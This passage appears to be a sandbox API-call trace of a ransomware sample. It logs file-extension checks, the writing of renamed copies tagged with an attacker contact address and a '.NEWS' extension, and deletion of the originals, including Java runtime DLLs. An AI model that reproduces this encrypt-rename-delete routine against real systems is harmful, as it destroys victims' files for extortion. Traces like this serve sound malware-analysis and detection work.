[0089.010] lstrlenW (lpString=".dbf") returned 4 [0089.010] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1 [0089.217] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0089.217] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0089.217] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\internet explorer\\signup\\install.ins.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0089.218] GetLastError () returned 0x0 [0089.218] ReadFile (in: hFile=0x2f4, lpBuffer=0x3911020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesRead=0x2d5fecc*=0x1c4, lpOverlapped=0x0) returned 1 [0089.219] WriteFile (in: hFile=0x338, lpBuffer=0x3911020*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesWritten=0x2d5fc94*=0x1d0, lpOverlapped=0x0) returned 1 [0089.220] ReadFile (in: hFile=0x2f4, lpBuffer=0x3911020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1 [0089.220] WriteFile (in: hFile=0x338, lpBuffer=0x3911020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesWritten=0x2d5fc94*=0xea, lpOverlapped=0x0) returned 1 [0089.225] SetEndOfFile (hFile=0x338) returned 1 [0089.225] CloseHandle (hObject=0x338) returned 1 [0089.225] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0089.225] SetEndOfFile (hFile=0x2f4) returned 1 [0089.226] CloseHandle (hObject=0x2f4) returned 1 [0089.226] SetFileAttributesW (lpFileName="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0089.226] DeleteFileW (lpFileName="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins" (normalized: "c:\\program files\\internet explorer\\signup\\install.ins")) returned 1 [0089.226] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins") returned 53 [0089.226] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins") returned 53 [0089.226] lstrlenW (lpString=".doc") returned 4 [0089.226] lstrcmpiW (lpString1=".doc", lpString2=".ins") returned -1 [0089.226] lstrlenW (lpString=".docx") returned 5 [0089.226] lstrcmpiW (lpString1=".docx", lpString2="l.ins") returned -1 [0089.226] lstrlenW (lpString=".pdf") returned 4 [0089.226] lstrcmpiW (lpString1=".pdf", lpString2=".ins") returned 1 [0089.226] lstrlenW (lpString=".xls") returned 4 [0089.226] lstrcmpiW (lpString1=".xls", lpString2=".ins") returned 1 [0089.227] lstrlenW (lpString=".xlsx") returned 5 [0089.227] lstrcmpiW (lpString1=".xlsx", lpString2="l.ins") returned -1 [0089.227] lstrlenW (lpString=".ppt") returned 4 [0089.227] lstrcmpiW (lpString1=".ppt", lpString2=".ins") returned 1 [0089.227] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins") returned 53 [0089.227] lstrlenW (lpString=".zip") returned 4 [0089.227] lstrcmpiW (lpString1=".zip", lpString2=".ins") returned 1 [0089.227] lstrlenW (lpString=".rar") returned 4 [0089.227] lstrcmpiW (lpString1=".rar", lpString2=".ins") returned 1 [0089.227] lstrlenW (lpString=".bz2") returned 4 [0089.227] lstrcmpiW (lpString1=".bz2", lpString2=".ins") returned -1 [0089.227] lstrlenW (lpString=".7z") returned 3 [0089.227] lstrcmpiW (lpString1=".7z", lpString2="ins") returned -1 [0089.227] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins") returned 53 [0089.227] lstrlenW (lpString=".dbf") returned 4 [0089.227] lstrcmpiW (lpString1=".dbf", lpString2=".ins") returned -1 [0089.227] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins") returned 53 [0089.227] lstrlenW (lpString=".1cd") returned 4 [0089.227] lstrcmpiW (lpString1=".1cd", lpString2=".ins") returned -1 [0089.227] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins") returned 53 [0089.227] lstrlenW (lpString=".jpg") returned 4 [0089.227] lstrcmpiW (lpString1=".jpg", lpString2=".ins") returned 1 [0089.227] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins") returned 53 [0089.227] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins") returned 53 [0089.227] lstrlenW (lpString=".doc") returned 4 [0089.227] lstrcmpiW (lpString1=".doc", lpString2=".ins") returned -1 [0089.227] lstrlenW (lpString=".docx") returned 5 [0089.227] lstrcmpiW (lpString1=".docx", lpString2="l.ins") returned -1 [0089.227] lstrlenW (lpString=".pdf") returned 4 [0089.227] lstrcmpiW (lpString1=".pdf", lpString2=".ins") returned 1 [0089.227] lstrlenW (lpString=".xls") returned 4 [0089.227] lstrcmpiW (lpString1=".xls", lpString2=".ins") returned 1 [0089.227] lstrlenW (lpString=".xlsx") returned 5 [0089.227] lstrcmpiW (lpString1=".xlsx", lpString2="l.ins") returned -1 [0089.227] lstrlenW (lpString=".ppt") returned 4 [0089.227] lstrcmpiW (lpString1=".ppt", lpString2=".ins") returned 1 [0089.227] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins") returned 53 [0089.228] lstrlenW (lpString=".zip") returned 4 [0089.228] lstrcmpiW (lpString1=".zip", lpString2=".ins") returned 1 [0089.228] lstrlenW (lpString=".rar") returned 4 [0089.228] lstrcmpiW (lpString1=".rar", lpString2=".ins") returned 1 [0089.228] lstrlenW (lpString=".bz2") returned 4 [0089.228] lstrcmpiW (lpString1=".bz2", lpString2=".ins") returned -1 [0089.228] lstrlenW (lpString=".7z") returned 3 [0089.228] lstrcmpiW (lpString1=".7z", lpString2="ins") returned -1 [0089.228] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins") returned 53 [0089.228] lstrlenW (lpString=".dbf") returned 4 [0089.228] lstrcmpiW (lpString1=".dbf", lpString2=".ins") returned -1 [0089.228] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins") returned 53 [0089.228] lstrlenW (lpString=".1cd") returned 4 [0089.228] lstrcmpiW (lpString1=".1cd", lpString2=".ins") returned -1 [0089.228] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins") returned 53 [0089.228] lstrlenW (lpString=".jpg") returned 4 [0089.228] lstrcmpiW (lpString1=".jpg", lpString2=".ins") returned 1 [0089.228] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0089.228] lstrlenW (lpString="bci.dll") returned 7 [0089.228] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\bci.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0089.229] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=16960) returned 1 [0089.229] CloseHandle (hObject=0x2f4) returned 1 [0089.229] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\bci.dll")) returned 0x20 [0089.229] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\bci.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0089.229] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\bci.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0089.229] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0089.229] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0089.229] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\bci.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0089.272] GetLastError () returned 0x0 [0089.272] ReadFile (in: hFile=0x338, lpBuffer=0x3911020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesRead=0x2d5fecc*=0x4240, lpOverlapped=0x0) returned 1 [0089.274] WriteFile (in: hFile=0x374, lpBuffer=0x3911020*, nNumberOfBytesToWrite=0x4250, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesWritten=0x2d5fc94*=0x4250, lpOverlapped=0x0) returned 1 [0089.275] ReadFile (in: hFile=0x338, lpBuffer=0x3911020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1 [0089.275] WriteFile (in: hFile=0x374, lpBuffer=0x3911020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesWritten=0x2d5fc94*=0xe2, lpOverlapped=0x0) returned 1 [0089.275] SetEndOfFile (hFile=0x374) returned 1 [0089.275] CloseHandle (hObject=0x374) returned 1 [0089.275] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0089.275] SetEndOfFile (hFile=0x338) returned 1 [0089.276] CloseHandle (hObject=0x338) returned 1 [0089.276] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0089.277] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\bci.dll")) returned 1 [0089.277] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll") returned 46 [0089.277] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll") returned 46 [0089.277] lstrlenW (lpString=".doc") returned 4 [0089.277] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0089.277] lstrlenW (lpString=".docx") returned 5 [0089.277] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0089.277] lstrlenW (lpString=".pdf") returned 4 [0089.277] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0089.277] lstrlenW (lpString=".xls") returned 4 [0089.277] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0089.277] lstrlenW (lpString=".xlsx") returned 5 [0089.277] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0089.277] lstrlenW (lpString=".ppt") returned 4 [0089.277] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0089.277] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll") returned 46 [0089.277] lstrlenW (lpString=".zip") returned 4 [0089.277] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0089.277] lstrlenW (lpString=".rar") returned 4 [0089.277] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0089.277] lstrlenW (lpString=".bz2") returned 4 [0089.277] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0089.277] lstrlenW (lpString=".7z") returned 3 [0089.277] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0089.277] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll") returned 46 [0089.277] lstrlenW (lpString=".dbf") returned 4 [0089.278] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0089.278] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll") returned 46 [0089.278] lstrlenW (lpString=".1cd") returned 4 [0089.278] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0089.278] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll") returned 46 [0089.278] lstrlenW (lpString=".jpg") returned 4 [0089.278] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0089.278] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll") returned 46 [0089.278] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll") returned 46 [0089.278] lstrlenW (lpString=".doc") returned 4 [0089.278] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0089.278] lstrlenW (lpString=".docx") returned 5 [0089.278] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0089.278] lstrlenW (lpString=".pdf") returned 4 [0089.278] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0089.278] lstrlenW (lpString=".xls") returned 4 [0089.278] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0089.278] lstrlenW (lpString=".xlsx") returned 5 [0089.278] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0089.278] lstrlenW (lpString=".ppt") returned 4 [0089.278] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0089.278] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll") returned 46 [0089.278] lstrlenW (lpString=".zip") returned 4 [0089.278] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0089.278] lstrlenW (lpString=".rar") returned 4 [0089.278] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0089.278] lstrlenW (lpString=".bz2") returned 4 [0089.278] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0089.278] lstrlenW (lpString=".7z") returned 3 [0089.278] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0089.278] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll") returned 46 [0089.278] lstrlenW (lpString=".dbf") returned 4 [0089.278] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0089.278] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll") returned 46 [0089.278] lstrlenW (lpString=".1cd") returned 4 [0089.278] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0089.279] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll") returned 46 [0089.279] lstrlenW (lpString=".jpg") returned 4 [0089.279] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0089.279] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0089.279] lstrlenW (lpString="dcpr.dll") returned 8 [0089.279] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dcpr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0089.279] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=159808) returned 1 [0089.279] CloseHandle (hObject=0x338) returned 1 [0089.279] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dcpr.dll")) returned 0x20 [0089.279] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dcpr.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0089.279] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dcpr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0089.279] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0089.280] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0089.280] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dcpr.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0089.280] GetLastError () returned 0x0 [0089.280] ReadFile (in: hFile=0x338, lpBuffer=0x3911020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesRead=0x2d5fecc*=0x27040, lpOverlapped=0x0) returned 1 [0089.284] WriteFile (in: hFile=0x374, lpBuffer=0x3911020*, nNumberOfBytesToWrite=0x27050, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesWritten=0x2d5fc94*=0x27050, lpOverlapped=0x0) returned 1 [0089.288] ReadFile (in: hFile=0x338, lpBuffer=0x3911020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1 [0089.288] WriteFile (in: hFile=0x374, lpBuffer=0x3911020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesWritten=0x2d5fc94*=0xe4, lpOverlapped=0x0) returned 1 [0089.288] SetEndOfFile (hFile=0x374) returned 1 [0089.288] CloseHandle (hObject=0x374) returned 1 [0089.288] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0089.288] SetEndOfFile (hFile=0x338) returned 1 [0089.290] CloseHandle (hObject=0x338) returned 1 [0089.290] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0089.290] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dcpr.dll")) returned 1 [0089.290] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll") returned 47 [0089.290] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll") returned 47 [0089.290] lstrlenW (lpString=".doc") returned 4 [0089.290] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0089.291] lstrlenW (lpString=".docx") returned 5 [0089.291] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0089.291] lstrlenW (lpString=".pdf") returned 4 [0089.291] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0089.291] lstrlenW (lpString=".xls") returned 4 [0089.291] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0089.291] lstrlenW (lpString=".xlsx") returned 5 [0089.291] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0089.291] lstrlenW (lpString=".ppt") returned 4 [0089.291] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0089.291] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll") returned 47 [0089.291] lstrlenW (lpString=".zip") returned 4 [0089.291] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0089.291] lstrlenW (lpString=".rar") returned 4 [0089.291] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0089.291] lstrlenW (lpString=".bz2") returned 4 [0089.291] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0089.291] lstrlenW (lpString=".7z") returned 3 [0089.291] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0089.291] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll") returned 47 [0089.291] lstrlenW (lpString=".dbf") returned 4 [0089.291] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0089.291] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll") returned 47 [0089.291] lstrlenW (lpString=".1cd") returned 4 [0089.291] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0089.291] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll") returned 47 [0089.291] lstrlenW (lpString=".jpg") returned 4 [0089.291] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0089.291] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll") returned 47 [0089.291] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll") returned 47 [0089.291] lstrlenW (lpString=".doc") returned 4 [0089.291] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0089.291] lstrlenW (lpString=".docx") returned 5 [0089.291] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0089.291] lstrlenW (lpString=".pdf") returned 4 [0089.291] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0089.292] lstrlenW (lpString=".xls") returned 4 [0089.292] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0089.292] lstrlenW (lpString=".xlsx") returned 5 [0089.292] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0089.292] lstrlenW (lpString=".ppt") returned 4 [0089.292] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0089.292] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll") returned 47 [0089.292] lstrlenW (lpString=".zip") returned 4 [0089.292] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0089.292] lstrlenW (lpString=".rar") returned 4 [0089.292] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0089.292] lstrlenW (lpString=".bz2") returned 4 [0089.292] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0089.292] lstrlenW (lpString=".7z") returned 3 [0089.292] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0089.292] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll") returned 47 [0089.292] lstrlenW (lpString=".dbf") returned 4 [0089.292] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0089.292] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll") returned 47 [0089.292] lstrlenW (lpString=".1cd") returned 4 [0089.292] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0089.292] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll") returned 47 [0089.292] lstrlenW (lpString=".jpg") returned 4 [0089.292] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0089.292] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0089.292] lstrlenW (lpString="decora_sse.dll") returned 14 [0089.292] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\decora_sse.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0089.333] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=86080) returned 1 [0089.334] CloseHandle (hObject=0x338) returned 1 [0089.334] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\decora_sse.dll")) returned 0x20 [0089.334] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\decora_sse.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0089.334] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\decora_sse.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0089.334] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0089.334] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0089.334] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\decora_sse.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0089.334] GetLastError () returned 0x0 [0089.334] ReadFile (in: hFile=0x338, lpBuffer=0x3911020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesRead=0x2d5fecc*=0x15040, lpOverlapped=0x0) returned 1 [0089.337] WriteFile (in: hFile=0x374, lpBuffer=0x3911020*, nNumberOfBytesToWrite=0x15050, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesWritten=0x2d5fc94*=0x15050, lpOverlapped=0x0) returned 1 [0089.339] ReadFile (in: hFile=0x338, lpBuffer=0x3911020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1 [0089.339] WriteFile (in: hFile=0x374, lpBuffer=0x3911020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, 